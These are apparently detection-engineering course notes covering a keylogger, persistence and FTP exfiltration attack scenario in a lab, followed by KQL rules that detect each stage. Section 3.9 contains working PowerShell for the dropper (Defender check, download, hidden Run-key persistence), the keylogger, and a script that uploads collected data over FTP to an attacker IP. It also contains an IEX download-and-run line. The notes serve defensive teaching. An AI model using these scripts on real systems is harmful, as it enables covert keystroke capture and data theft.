#### The Analyzer — the process tree, drawn

Opening an alert's **Analyze event** view renders the **Analyzer**: a visual graph of the process lineage around the alert. For this attack it draws the chain we've been reading as fields all along —

```
explorer.exe → cmd.exe → powershell.exe → cmd.exe → powershell.exe → cmd.exe
              904ms       1s              47ms        381ms
```

— with **inter-process timing** on each edge and a side panel listing **All Process Events** (`userinit.exe`, `explorer.exe`, `cmd.exe`, `powershell.exe`, …) and their **arguments**.

> **Why this matters.** The §3.6 rules keyed on `process.parent.name` / `process.parent.command_line` — abstract fields. The Analyzer is those same relationships **made visible**: an investigator triaging the alert sees `explorer → cmd → powershell → cmd` at a glance and immediately understands "a user launched a batch file that spawned PowerShell that spawned a shell." The tight millisecond timing (47ms, 381ms between spawns) is itself a tell — humans don't launch processes that fast; automation does. The **arguments** on each node are where the `Invoke-WebRequest`/msfvenom stub live. Lineage isn't just how you *write* the detection — it's how you *investigate* the alert.

***

#### Key Takeaways (Quick Reference)

* **Confirmation = re-run the attack, watch the alerts arrive.** A rule is a hypothesis until you've seen it fire end-to-end (behaviour → schedule → alert index → Alerts view). §1.1 unit-testing, closed on the rule.
* The attack fired **two kinds of alert**: the **custom §3.6 rules** *and* **Elastic Defend's built-in** behavioural detections (e.g. "Suspicious PowerShell Execution", critical/99).
* Defend alerts reach the SIEM via the built-in **Endpoint Security** rule (`logs-endpoint.alerts-*`, `event.kind:alert and event.module:(endpoint and not endgame)`).
* Custom detections **complement** vendor protections — built-in = broad floor, custom = targeted layer. Run both.
* **Elastic Defend policy: Prevent vs Detect.** Prevent blocks + alerts (production); **Detect-only** observes + alerts, no action (lab/authoring). Detect-only is why the attack was allowed to run; never ship it to production.
* The **Analyzer** ("Analyze event") draws the process tree with inter-process **timing** and per-node **arguments** — the §3.6 lineage fields made visual. Millisecond spawn gaps = automation, not a human.

***

#### Related Topics

```
§3.6 authored rules (matched historical data)  →  §3.7 confirmed rules (fire on live behaviour)
§1.1 unit testing  →  §3.7 (re-run known-bad, confirm expected alert)
Custom detections  ⟷  Elastic Defend built-in behavioural detections (Endpoint Security rule)
Elastic Defend policy: Prevent (production, blocks) vs Detect-only (authoring, observes)
§3.6 process.parent lineage fields  →  §3.7 Analyzer (same lineage, visualised)
```

***

### 3.8 Scenario 3 — The Keylogger / Exfiltration Chain (Overview)

*Attack Scenarios, lecture 013 (overview). The third and most complete scenario: a PowerShell **dropper** that installs a **keylogger** and an **exfil** script, **persists** them in the registry, **collects** data (keystrokes, system info, browser history), **archives** it, and **exfiltrates** it over **FTP** to the attacker. Where Scenario 1 was recon and Scenario 2 was delivery/execution, Scenario 3 walks the **back half of the kill chain** — persistence, collection, exfiltration. This lecture is the plan; setup, execution and the four detections come in 014–017.*

***

#### The attack chain

```
                    ┌──────────────┐
                    │  Dropper.ps1 │            1. Dropper execution
                    └──────┬───────┘
              ┌────────────┴────────────┐       2. Download Keylogger / Exfil scripts
              ▼                         ▼        3. Add scripts to startup registry (persistence)
      ┌───────────────┐         ┌───────────────┐
      │ Keylogger.ps1 │         │   Exfil.ps1   │
      └──────┬────────┘         └───┬───────┬───┘
             ▼                      ▼       ▼        4. Data generated from scripts
      ┌───────────────┐   ┌──────────────┐ ┌──────────────────┐
      │ Keylogger.txt │   │ Systeminfo.txt│ │ Browser History  │
      └──────┬────────┘   └──────┬───────┘ └────────┬─────────┘
             └──────────────┬────┴──────────────────┘
                            ▼                          5. Data zipped up for transfer
                    ┌───────────────┐
                    │   exfil.zip   │
                    └──────┬────────┘
                           ▼                           6. Data sent to Parrot OS via FTP
                    ┌───────────────┐
                    │ FTP to ParrotOS│
                    └───────────────┘
```

The six steps: **(1)** dropper executes → **(2)** downloads `Keylogger.ps1` and `Exfil.ps1` → **(3)** writes both to a **startup registry** key so they survive reboot → **(4)** the scripts generate data (`Keylogger.txt` keystrokes, `Systeminfo.txt`, browser history) → **(5)** the data is **zipped** into `exfil.zip` → **(6)** the zip is **FTP'd** to the ParrotOS attacker.

> **Mindset — this scenario exercises the parts of the kill chain the first two skipped.** Scenario 2 stopped at "attacker gets a shell." Scenario 3 is *what an attacker does with that access*: establish persistence, collect what they came for, package it, and get it out. Each of those is a distinct behaviour with distinct telemetry — and therefore a distinct detection. The longer the chain, the more places to catch it (the §3.5 lesson, now over six steps instead of three).

***

#### The four planned detections

The lecture pre-commits to a detection at four of the highest-value points — deliberately spread across the chain's tactics:

| # | Detects                                             | Kill-chain stage     | Likely ATT\&CK                                                                                                                                                      |
| - | --------------------------------------------------- | -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 1 | **PowerShell script added to the startup registry** | Persistence          | [T1547.001 Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001/)                                                                      |
| 2 | **System info & browser history being collected**   | Collection           | [T1082 System Information Discovery](https://attack.mitre.org/techniques/T1082/), [T1217 Browser Information Discovery](https://attack.mitre.org/techniques/T1217/) |
| 3 | **Data being zipped for exfil**                     | Collection / staging | [T1560 Archive Collected Data](https://attack.mitre.org/techniques/T1560/)                                                                                          |
| 4 | **FTP exfiltration activity**                       | Exfiltration         | [T1048 Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048/)                                                                          |

> **Reconciling — why these four points.** They're chosen to cover *different tactics*, not different flavours of the same one. A persistence detection (1) catches the attacker settling in; collection detections (2, 3) catch them gathering and packaging; the exfil detection (4) catches the data leaving. Miss the persistence and you can still catch the archive; miss the archive and you can still catch the FTP. This is defence-in-depth spread across the **tactic timeline** — the earlier you catch it the better, but every stage is a backstop for the ones before it. (Note the mix of telemetry to come: registry writes and archive/process events are **host** signals; the FTP exfil is a **network** signal — Zeek — so this scenario, like §3.6, will draw on both pipelines.)

***

#### Key Takeaways (Quick Reference)

* Scenario 3 is a full **persistence → collection → exfiltration** chain — the back half of the kill chain Scenarios 1–2 didn't reach.
* Flow: `Dropper.ps1` → downloads `Keylogger.ps1` + `Exfil.ps1` → **registry startup persistence** → generate `Keylogger.txt` / `Systeminfo.txt` / browser history → **zip** to `exfil.zip` → **FTP** to ParrotOS.
* **Four planned detections**, one per high-value stage: registry persistence (T1547.001), collection (T1082 / T1217), archiving (T1560), FTP exfil (T1048).
* Longer chain = more detection opportunities; the four points span **different tactics**, so each is a backstop for the earlier ones.
* Telemetry will be **mixed**: host (registry, archive, process) for 1–3, network (Zeek) for the FTP exfil — both pipelines again.
* This is the **plan**; setup, execution, and building the four rules follow in 014–017.

***

#### Related Topics

```
§3.1–§3.2 Scenario 1 (recon)  ·  §3.5 Scenario 2 (delivery/execution)  →  §3.8 Scenario 3 (persistence→collection→exfil)
§3.5 defence-in-depth across stages  →  §3.8 defence-in-depth across tactics (persistence/collection/exfil)
Planned detections: T1547.001 registry persistence · T1082/T1217 collection · T1560 archive · T1048 FTP exfil
Host telemetry (registry/archive/process) + Network telemetry (Zeek FTP)  — both pipelines
§3.8 overview  →  014 stage · 015 execute · 016 build detections · 017 confirm
```

***

### 3.9 Building Scenario 3 — Keylogger, Exfil Script, Dropper & FTP Server

*Attack Scenarios, lectures 014–015 (setup + execution). The §3.8 plan gets built. Four pieces come together: a **keylogger** (`Keylogger.ps1`), the attacker's **FTP server** (vsftpd on ParrotOS), the **exfil script** (`Exfil.ps1`: collect → archive → FTP out), and the **dropper** (`Dropper.ps1`: gate → download → persist). Running the dropper walks the whole chain and lands `exfil.zip` on the attacker box. As each piece is built, note what it will leave in the telemetry — that's the detection surface for lecture 016.*

> **Method note:** build **telemetry-first**. Every command below is chosen for what the attacker wants *and* flagged for what it writes to disk, the registry, the process tree, or the wire — because that footprint is what the four detections key on. This is the §1.1 loop run *while authoring the attack*.

***

#### Piece 1 — the keylogger (`Keylogger.ps1`)

Uses the public [securethelogs/Keylogger](https://github.com/securethelogs/Keylogger) script (raw: `https://raw.githubusercontent.com/securethelogs/Keylogger/master/Keylogger.ps1`). Its mechanism is Win32 API interop — `Add-Type` with `DllImport` signatures from `user32.dll`:

```powershell
$path = "C:\temp\keylogger.txt"
if ((Test-Path $path) -eq $false) {New-Item $path}

$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeys...
'@
```

**How it works:** it polls **`GetAsyncKeyState`** for every virtual-key code in a tight loop to see what's pressed, uses **`MapVirtualKey`** + **`ToUnicode`** to turn key codes into characters, and appends them to a log file. The **output path is changed** from the default `C:\temp\keylogger.txt` to **`C:\Windows\Temp\exfil\keylogger.txt`** (into the staging dir the dropper creates), and the script is hosted on the attacker's `python -m http.server` for the dropper to fetch.

> **Detection surface.** As a `.ps1`, the whole thing is visible to **§2.5 script-block logging** — and the DllImport strings (`GetAsyncKeyState`, `user32.dll`) are a *strong signature*: legitimate scripts almost never import raw keyboard-state APIs. This is [Input Capture: Keylogging (T1056.001)](https://attack.mitre.org/techniques/T1056/001/). The write to a `keylogger.txt` in a temp staging folder is a second signal.

***

#### Piece 2 — the browser-history target (Edge SQLite DB)

Edge is used for test browsing so there's history to steal. Edge stores history in a **SQLite database** at:

```
C:\Users\<User>\AppData\Local\Microsoft\Edge\User Data\Default\History
```

The file is literally named `History` (no extension) and can be opened in **DB Browser for SQLite**. The exfil script simply **copies this DB** out.

> **Detection surface.** Reading/copying a browser's `History` DB is [Browser Information Discovery (T1217)](https://attack.mitre.org/techniques/T1217/). A process touching another app's `User Data\Default\History` — especially PowerShell copying it to a temp folder — is anomalous and detectable on file/process telemetry.

***

#### Piece 3 — the attacker's FTP server (vsftpd on ParrotOS)

The exfil destination is an FTP server stood up on ParrotOS:

```bash
sudo apt install vsftpd
```

Edit `/etc/vsftpd.conf` and **uncomment `write_enable=YES`** (so the server accepts uploads — `STOR`), then restart:

```bash
sudo systemctl restart vsftpd
sudo apt install ftp
```

**Why `write_enable=YES` matters:** by default vsftpd is read-only; without this the server *rejects* the attacker's uploads. Verify the login works:

```
ftp localhost
# 220 (vsFTPd 3.0.3) → Name: parrot → 230 Login successful → binary mode
```

The upload primitive is a PowerShell `WebClient` (saved as `Ftp_Poc.ps1`):

```powershell
$client = New-Object System.Net.WebClient
$client.Credentials = New-Object System.Net.NetworkCredential("parrot", "parrot")
$client.UploadFile("ftp://192.168.56.137/history","C:\Users\User\Desktop\history")
```

> **Detection surface.** This is the network-observable exfil — [Exfiltration Over Alternative Protocol (T1048)](https://attack.mitre.org/techniques/T1048/) using FTP. It shows up two ways: on the **host** as PowerShell running `System.Net.WebClient` / `UploadFile` to an FTP URI, and on the **wire** as an actual FTP session (Zeek `ftp.log`) — outbound FTP from a workstation to an internal peer is itself unusual.

***

#### Piece 4 — `Exfil.ps1` (collect → archive → exfiltrate)

The full exfil script — each line a distinct behaviour:

```powershell
Start-Sleep -Seconds 5
systeminfo > C:\Windows\Temp\Exfil\sysinfo.txt
$Browsing_history_file_path = "C:\Users\" + $Env:Username + "\Appdata\Local\Microsoft\Edge\User Data\Default\History"
cp $Browsing_history_file_path C:\Windows\Temp\Exfil
Compress-Archive -LiteralPath C:\Windows\Temp\Exfil -DestinationPath C:\Windows\Temp\Exfil.zip
$client = New-Object System.Net.WebClient
$client.Credentials = New-Object System.Net.NetworkCredential("parrot", "parrot")
$client.UploadFile("ftp://192.168.56.137/exfil.zip","C:\Windows\Temp\Exfil.zip")
```

Line by line, and the technique each maps to:

* `Start-Sleep -Seconds 5` — a small delay (timing/evasion).
* `systeminfo > ...\sysinfo.txt` — [**System Information Discovery (T1082)**](https://attack.mitre.org/techniques/T1082/); dumps host details to the staging folder.
* `cp <Edge History> C:\Windows\Temp\Exfil` — **T1217**; the browser DB into staging.
* `Compress-Archive -LiteralPath ... -DestinationPath ...Exfil.zip` — [**Archive Collected Data (T1560.001)**](https://attack.mitre.org/techniques/T1560/001/); package the loot.
* `WebClient.UploadFile("ftp://...")` — **T1048**; ship it out.

Everything funnels through **`C:\Windows\Temp\Exfil\`** — a **collection staging directory** ([T1074](https://attack.mitre.org/techniques/T1074/)), which is itself a useful pivot: multiple sensitive files appearing in one temp folder then getting zipped is a collection tell.

***

#### Piece 5 — `Dropper.ps1` (gate → download → persist)

The dropper ties it together and adds **persistence**:

```powershell
if (Get-MpComputerStatus | where-object {$_.RealTimeProtectionEnabled -like 'False'}) {
    mkdir C:\Windows\Temp\exfil
    Invoke-WebRequest -URI http://192.168.56.137:8000/Keylogger.ps1 -OutFile c:\Windows\temp\Keylogger.ps1;
    Invoke-WebRequest -URI http://192.168.56.137:8000/Exfil.ps1 -OutFile c:\Windows\temp\Exfil.ps1;
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KeyLogger" /t REG_SZ /F /D "powershell.exe -WindowStyle hidden -file C:\Windows\Temp\Keylogger.ps1";
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Exfil" /t REG_SZ /F /D "powershell.exe -WindowStyle hidden -file C:\Windows\Temp\Exfil.ps1";
}
```

What it does: reuses the **Defender gate** from Scenario 2 (`Get-MpComputerStatus` → RTP off); creates the staging dir; **downloads** both scripts via `Invoke-WebRequest` (T1105); then writes two **registry Run keys**.

> **The persistence is the headline signal.** `REG ADD "HKLM\...\CurrentVersion\Run"` is the classic autorun key — anything listed there runs at logon, **every logon**. That's [**Registry Run Keys / Startup Folder (T1547.001)**](https://attack.mitre.org/techniques/T1547/001/). Two extra tells stacked on top: the value runs `powershell.exe -WindowStyle hidden -file ...` (**hidden window = defense evasion**, and file-based PowerShell execution), and it points at a script in **`C:\Windows\Temp`** (legitimate autoruns don't launch from temp). A Run-key write pointing PowerShell at a temp-dir script is about as high-confidence a persistence detection as host telemetry offers.

***

#### Running it — the data lands

Executing `Dropper.ps1` walks the chain: gate passes → scripts download → Run keys written → (on execution) `Exfil.ps1` collects `sysinfo.txt` + the Edge `History`, zips them to `Exfil.zip`, and FTP-uploads to ParrotOS. On the attacker box the loot arrives and unzips cleanly:

```bash
unzip Exfil.zip
# warning: Exfil.zip appears to use backslashes as path separators
#  inflating: Exfil/History
#  inflating: Exfil/keylogger.txt
#  inflating: Exfil/sysinfo.txt
```

(The "backslashes as path separators" warning is just Windows `Compress-Archive` writing Windows-style paths into the zip — harmless, and itself a small forensic tell that the archive was built on Windows.) End to end: keystrokes, system info, and browser history have left the host.

***

#### The detection surface — the four rules to come (016)

Everything built above lays down exactly the artifacts §3.8 planned to catch:

| Stage       | Artifact left behind                                                                    | Telemetry                             | ATT\&CK             |
| ----------- | --------------------------------------------------------------------------------------- | ------------------------------------- | ------------------- |
| Persistence | `REG ADD ...\CurrentVersion\Run` → PowerShell `-WindowStyle hidden -file ...temp\*.ps1` | Sysmon registry / process             | T1547.001           |
| Collection  | `systeminfo` dump; copy of Edge `History` into `...\Temp\Exfil`                         | Sysmon process / file                 | T1082, T1217, T1074 |
| Archive     | `Compress-Archive ... Exfil.zip`                                                        | Sysmon process                        | T1560.001           |
| Exfil       | `WebClient.UploadFile("ftp://...")` + FTP session                                       | Sysmon process **and** Zeek `ftp.log` | T1048               |

> **Reconciling — build and detect are the same list read twice.** The reason to author the attack telemetry-first is that the "attacker's steps" and the "detection points" are literally the same table, viewed from opposite sides. Every line the attacker needs is a line the defender can catch. Lecture 016 turns each row into a rule.

***

#### MITRE ATT\&CK

The chain spans four tactics — which is why one attack yields four independent detections:

* [**T1105 Ingress Tool Transfer**](https://attack.mitre.org/techniques/T1105/) (C2) — dropper `Invoke-WebRequest` pulls the scripts.
* [**T1547.001 Registry Run Keys / Startup Folder**](https://attack.mitre.org/techniques/T1547/001/) (Persistence) — the two `REG ADD ...\Run` writes.
* [**T1056.001 Input Capture: Keylogging**](https://attack.mitre.org/techniques/T1056/001/) + [**T1082 System Information Discovery**](https://attack.mitre.org/techniques/T1082/) + [**T1217 Browser Information Discovery**](https://attack.mitre.org/techniques/T1217/) (Collection/Discovery) — the data-gathering.
* [**T1074 Data Staged**](https://attack.mitre.org/techniques/T1074/) + [**T1560.001 Archive Collected Data**](https://attack.mitre.org/techniques/T1560/001/) (Collection) — staging in `Temp\Exfil` then zipping.
* [**T1048 Exfiltration Over Alternative Protocol**](https://attack.mitre.org/techniques/T1048/) (Exfiltration) — FTP upload.

***

#### Key Takeaways (Quick Reference)

* Build **telemetry-first**: every attacker command is chosen for its goal *and* noted for the footprint the detections will use. Attacker steps = detection points, same list twice.
* **Keylogger** (`Keylogger.ps1`, securethelogs): Win32 `DllImport` (`GetAsyncKeyState`/`ToUnicode`) polling → `C:\Windows\Temp\exfil\keylogger.txt`. Script-block-visible; DllImport strings are a strong signature. T1056.001.
* **Browser history** = Edge **SQLite** `...\Edge\User Data\Default\History`; copying it = T1217.
* **FTP server** = vsftpd on ParrotOS; **`write_enable=YES`** is required to accept uploads. Exfil via PowerShell `System.Net.WebClient.UploadFile("ftp://...")` = T1048 (visible host-side *and* in Zeek `ftp.log`).
* **`Exfil.ps1`**: `systeminfo` (T1082) → copy Edge History (T1217) → `Compress-Archive` (T1560.001) → FTP upload (T1048); all staged in `C:\Windows\Temp\Exfil` (T1074).
* **`Dropper.ps1`**: Defender gate → `mkdir` staging → 2× `Invoke-WebRequest` (T1105) → 2× `REG ADD HKLM\...\CurrentVersion\Run` (T1547.001). Persistence value runs `powershell.exe -WindowStyle hidden -file <temp>.ps1` — hidden window + temp-dir launch are extra evasion/anomaly tells.
* Data lands on ParrotOS as `Exfil.zip` → `History`, `keylogger.txt`, `sysinfo.txt`. The "backslash path separators" unzip warning = archive built on Windows.
* The four detection points (016) are the four rows of the detection-surface table: persistence, collection, archive, FTP exfil.

***

#### Related Topics

```
§3.8 Scenario 3 plan  →  §3.9 built attack  →  016 four detections  →  017 confirm
§3.5 Scenario 2 dropper (Defender gate, Invoke-WebRequest)  →  §3.9 reuses the gate, adds persistence + exfil
§2.5 PowerShell script-block logging  →  §3.9 (keylogger DllImports, exfil/dropper command lines visible)
Registry Run keys (T1547.001) + `-WindowStyle hidden` + temp-dir launch = high-confidence persistence signal
Collection staging dir (C:\Windows\Temp\Exfil, T1074)  →  Archive (T1560)  →  Exfil (T1048, host + Zeek ftp.log)
Attacker steps ≡ detection points — build telemetry-first
```

***

### 3.10 Detecting the Exfil Chain — Four Rules Across Three Telemetry Sources

*Attack Scenarios, lecture 016 (create alerts). The §3.9 detection-surface table becomes four working rules — and this time they span **three** different telemetry sources: Sysmon (registry), Elastic Defend's raw file events (`endpoint.events.file`), and Zeek (`zeek.ftp`). Each rule catches a different tactic in the chain: persistence, collection, staging/archive, exfiltration. The standout technique is matching on the **registry value's data**, not just the fact a key was written.*

***

#### Four rules, three sources — the map

| # | Rule                                      | Source                          | Catches                            | MITRE (course tag) |
| - | ----------------------------------------- | ------------------------------- | ---------------------------------- | ------------------ |
| 1 | Suspicious File Added to Registry         | `windows.sysmon_operational`    | `.ps1` in a Run key                | T1547.001          |
| 2 | Suspicious File Written to Temp Directory | `endpoint.events.file` (Defend) | History / `.txt` in `Windows\Temp` | T1082, T1217       |
| 3 | Data Archive for Potential Exfil          | `endpoint.events.file` (Defend) | `.zip` in `Windows\Temp`           | T1074.001          |
| 4 | Data Exfiltration Observed via FTP        | `zeek.ftp` (network)            | `.zip` sent via FTP `STOR`         | T1020              |

> **Mindset — one attack, three pipelines.** §3.6 layered two sources; this scenario uses three: **host process/registry** (Sysmon), **host file** (Elastic Defend), and **network** (Zeek). The more independent the telemetry, the harder the chain is to complete unseen — evading all four means beating the registry sensor, the file sensor, *and* the network sensor. `endpoint.events.file` is new here: it's Elastic Defend's **raw event stream** (distinct from Sysmon *and* from Defend's own *alerts* in §3.7) — Defend ships granular file/process/network/registry events as `endpoint.events.*`, and you can write custom rules directly against them.

***

#### Rule 1 — `.ps1` added to a registry Run key (Sysmon)

**Discover-first.** Filter `event.dataset: windows.sysmon_operational`, search `*CurrentVersion*`, and open **`event.action`** in the field stats — it shows **Registry value set (rule: RegistryEvent)** is \~86.5% of hits. Add `process.executable`, `registry.key`, `registry.path` as columns to read the registry writes.

Final query:

```kql
event.dataset: "windows.sysmon_operational" and event.action: "Registry value set (rule: RegistryEvent)" and registry.path: "Microsoft\\Windows\\CurrentVersion\\Run" and registry.data.strings: *.ps1
```

* **Rule name:** *Suspicious File Added to Registry*
* **Description:** *This alert looks for .ps1 files added to autorun on bootup locations in the Windows Registry.*
* Custom query · **Suppress by `host.hostname`** · 5-minute schedule · **MITRE T1547.001** (Persistence → Boot or Logon Autostart Execution → Registry Run Keys / Startup Folder) · enable.

> **The key insight — match the value's DATA, not the action.** `event.action: "Registry value set"` and `registry.path: ...\CurrentVersion\Run` alone would be far too noisy — legitimate software writes Run keys constantly. The precision comes from **`registry.data.strings: *.ps1`**: it inspects *what the autorun entry actually runs* and fires only when that's a **PowerShell script**. A Run key whose value launches a `.ps1` is almost never benign. This is the persistence analogue of §3.6's "content × context" — match the malicious *attribute* (a script in autorun), not the generic event. (`registry.data.strings` = the Run value's data, i.e. the `powershell.exe -WindowStyle hidden -file ...ps1` command from §3.9; Sysmon Event ID 13, RegistryEvent SetValue.)

***

#### Rule 2 — collected files written to the temp staging dir (Elastic Defend)

```kql
event.dataset: "endpoint.events.file" and event.action: (creation or overwrite) and process.name: "powershell.exe" and file.path: *Windows\\Temp\\* and file.name: (History or *.txt)
```

* **Rule name:** *Suspicious File Written to Temp Directory*
* **Description:** *This alert looks for both specific file extensions written to a file path containing Windows\Temp.*
* **Suppress by `host.hostname`** · 5-minute schedule · **MITRE T1082** (System Information Discovery) + **T1217** (Browser Bookmark / Information Discovery) · enable.

> **The staging directory is a chokepoint.** Everything the attacker *collects* funnels through `C:\Windows\Temp\Exfil` (§3.9, T1074) — `sysinfo.txt`, `keylogger.txt`, the Edge `History`. So "**PowerShell creating `History` or a `.txt` inside `Windows\Temp`**" catches the whole collection stage in one rule. Keying on `process.name: powershell.exe` + `event.action: (creation or overwrite)` scopes it to *new files written by PowerShell* there — exactly the exfil script's behaviour, and rare for legitimate PowerShell. Watching the funnel beats writing a rule per collected file.

***

#### Rule 3 — the archive written to temp (Elastic Defend)

```kql
event.dataset: "endpoint.events.file" and event.action: (creation or overwrite) and process.name: "powershell.exe" and file.path: *Windows\\Temp\\* and file.name: *.zip
```

* **Rule name:** *Data Archive for Potential Exfil*
* **Description:** *This alert looks for .zip files being created in a file path containing windows\temp.*
* **Suppress by `host.hostname`** · 5-minute schedule · **MITRE T1074.001** (Collection → Data Staged → Local Data Staging) · enable.

> Same shape as Rule 2, aimed one stage later — the `Compress-Archive` output (`Exfil.zip`). A PowerShell-created `.zip` in a temp staging path is the *packaging* step right before exfil. Catching both the collected files (Rule 2) and the archive (Rule 3) gives two shots at the collection stage.

***

#### Rule 4 — the `.zip` leaving over FTP (Zeek)

```kql
event.dataset: zeek.ftp and event.action: STOR and zeek.ftp.arg: *.zip
```

* **Rule name:** *Data Exfiltration Observed via FTP*
* **Description:** *This alert looks for zip files being sent over FTP.*
* **Suppress by `destination.ip`** · 5-minute schedule · **MITRE T1020** (Exfiltration → Automated Exfiltration) · enable.

> **Reading FTP at the protocol level.** Zeek parses FTP commands into `zeek.ftp`. **`STOR`** is the FTP verb for *uploading* a file (the counterpart, `RETR`, downloads); **`zeek.ftp.arg`** is the filename argument. So `event.action: STOR and zeek.ftp.arg: *.zip` means *"a `.zip` is being uploaded over FTP"* — the exact exfil from §3.9. Suppressing by **`destination.ip`** collapses the transfer to one alert per exfil server. This is the network backstop: even if every host rule were evaded, the data still has to cross the wire, and outbound FTP of an archive is a loud, late-stage signal.

***

#### Three sources, one attack — why it matters

This scenario is the module's strongest illustration of **defence in depth at the telemetry layer**:

* **Registry** (Sysmon) catches persistence.
* **File** (Elastic Defend) catches collection and staging.
* **Network** (Zeek) catches exfiltration.

They fail independently — a technique that hides from one sensor is usually still loud on another. An attacker who avoids the temp directory still writes the Run key; one who evades the file rules still has to FTP the data out. Layering across *telemetry types* (not just across rules or stages) is what turns a chain of steps into a chain you can't slip through cleanly.

***

#### A note on the MITRE choices

The course's tags differ slightly from the techniques flagged while building the attack (§3.9) — both framings are defensible, and it's worth seeing why:

* **Rule 3 archive:** tagged **T1074.001 Local Data Staging** (emphasis: the data is *staged locally* in temp). §3.9 flagged **T1560 Archive Collected Data** (emphasis: it's *compressed*). Both are true of a `Compress-Archive` into a staging folder — staging vs archiving are two lenses on the same act.
* **Rule 4 exfil:** tagged **T1020 Automated Exfiltration** (emphasis: a *script* exfiltrates automatically). §3.9 flagged **T1048 Exfiltration Over Alternative Protocol** (emphasis: *FTP* isn't the C2 channel). Again both fit — the exfil is *both* automated *and* over an alternative protocol.

> **Takeaway on mapping:** ATT\&CK technique choice is a *judgment about emphasis*, not a lookup with one right answer. Pick the technique that best describes what you're keying on, and don't agonise when two fit — document the reasoning (which the About-section References/notes are for).

***

#### KQL note — escaping backslashes in paths

Registry and file paths are full of backslashes, and **KQL treats `\` as an escape character** — so a literal backslash must be written as **`\\`**. That's why the queries read `Microsoft\\Windows\\CurrentVersion\\Run` and `*Windows\\Temp\\*`. Forgetting to double them is a common reason a path query silently matches nothing (another flavour of §2.1's "empty ≠ missing").

***

#### Key Takeaways (Quick Reference)

* Four rules across **three sources**: Sysmon (`windows.sysmon_operational`), Elastic Defend raw file events (`endpoint.events.file`), Zeek (`zeek.ftp`). `endpoint.events.*` = Defend's granular event streams, distinct from Sysmon and from Defend's own alerts.
* **Rule 1 (persistence, T1547.001):** `... event.action: "Registry value set (rule: RegistryEvent)" and registry.path: "Microsoft\\Windows\\CurrentVersion\\Run" and registry.data.strings: *.ps1`. **Match the value's DATA (`registry.data.strings: *.ps1`)**, not just that a Run key was written — that's the precision.
* **Rule 2 (collection, T1082/T1217):** PowerShell creating `History`/`*.txt` in `*Windows\\Temp\\*` — the **staging directory is a chokepoint** that catches the whole collection stage.
* **Rule 3 (staging, T1074.001):** same, `file.name: *.zip` — the archive step.
* **Rule 4 (exfil, T1020):** `zeek.ftp and event.action: STOR and zeek.ftp.arg: *.zip` — **`STOR`** = FTP upload verb, `zeek.ftp.arg` = filename. Suppress by `destination.ip`.
* **Layering across telemetry types** (registry + file + network) is stronger than layering rules on one source — sensors fail independently.
* ATT\&CK mapping is a judgment of **emphasis** (T1074.001 vs T1560; T1020 vs T1048) — pick what you key on, document the reasoning.
* **KQL escapes `\` as `\\`** — path queries need doubled backslashes or they match nothing.

***

#### Related Topics

```
§3.9 detection-surface table  →  §3.10 four working rules
§3.6 two sources (Zeek + Sysmon)  →  §3.10 three sources (Sysmon + Defend file + Zeek FTP)
Registry value DATA matching (registry.data.strings)  ⟷  §3.6 content × context
Staging-dir chokepoint (Windows\Temp)  →  one rule catches many collected files
Zeek FTP: STOR (upload) vs RETR (download) · zeek.ftp.arg = filename
endpoint.events.* (Defend raw events)  ≠  Sysmon  ≠  Endpoint Security alerts (§3.7)
KQL: escape \ as \\ in registry/file paths
§3.10 build  →  017 confirm the exfil detections
```

***

### 3.11 Atomic Red Team — Repeatable, ATT\&CK-Mapped Detection Tests

*Attack Scenarios, lectures 018–021. The module's capstone tool. Scenarios 1–3 were hand-built attacks; **Atomic Red Team (ART)** is the standardized, repeatable version of the same idea — a library of small tests, each mapped to an ATT\&CK technique, that generate a technique's telemetry on demand so you can confirm your detection fires. This covers installing ART, running an atomic (audio capture, T1123), confirming its telemetry in ELK, and — the payoff — packaging the Scenario 3 dropper as a **custom atomic** so it becomes a repeatable regression test.*

***

#### What is Atomic Red Team, and why does a detection engineer care?

[Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) (Red Canary) is, in its own words, *"small and highly portable detection tests based on MITRE's ATT\&CK."* It's a library of **atomics** — tiny, self-contained tests, each reproducing one specific attacker technique — organized by ATT\&CK technique ID.

Why it matters: through this whole module you've been running the §1.1 loop by hand — build a behaviour, confirm the telemetry, write a detection, re-run to validate. That's fine for three scenarios, but it doesn't scale and it isn't repeatable. **ART industrializes that loop.** Instead of hand-crafting an attack every time you want to test a detection, you run the atomic for the technique, and it generates the exact telemetry in a consistent, documented, shareable way.

> **Mindset — ART turns "did I remember to test this?" into "run the atomic."** A detection you can't re-test on demand rots silently: a field renames, an integration breaks, a rule gets edited, and you don't find out until an incident. ART makes the test a **first-class, versioned artifact** — the validation half of detection-as-code. Scenarios 1–3 were the artisanal version; ART is the assembly line.

***

#### The two halves — the atomics and the runner

ART is two repositories that work together:

* **`atomic-red-team`** — the **test library**. Each technique gets a folder (`atomics/T1123/`) with a YAML file (`T1123.yaml`) defining its tests. This is *what* to run.
* **`invoke-atomicredteam`** — the **execution framework** (`Invoke-AtomicTest`), a PowerShell module. This is *how* you run it. Cross-platform (Windows/Linux/macOS with PowerShell Core); **minimum PowerShell 5.0**.

***

#### Installing

From the PowerShell Gallery (framework + YAML parser):

```powershell
Install-Module -Name invoke-atomicredteam,powershell-yaml -Scope CurrentUser
```

Or install the framework *and* pull down the atomics library in one go:

```powershell
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing);
Install-AtomicRedTeam -getAtomics
```

`-getAtomics` is the important flag — it downloads the `atomics` test folder (to `C:\AtomicRedTeam\atomics` by default; the runner reports `PathToAtomicsFolder`). If you hit a missing-repository error: `Register-PSRepository -Default`.

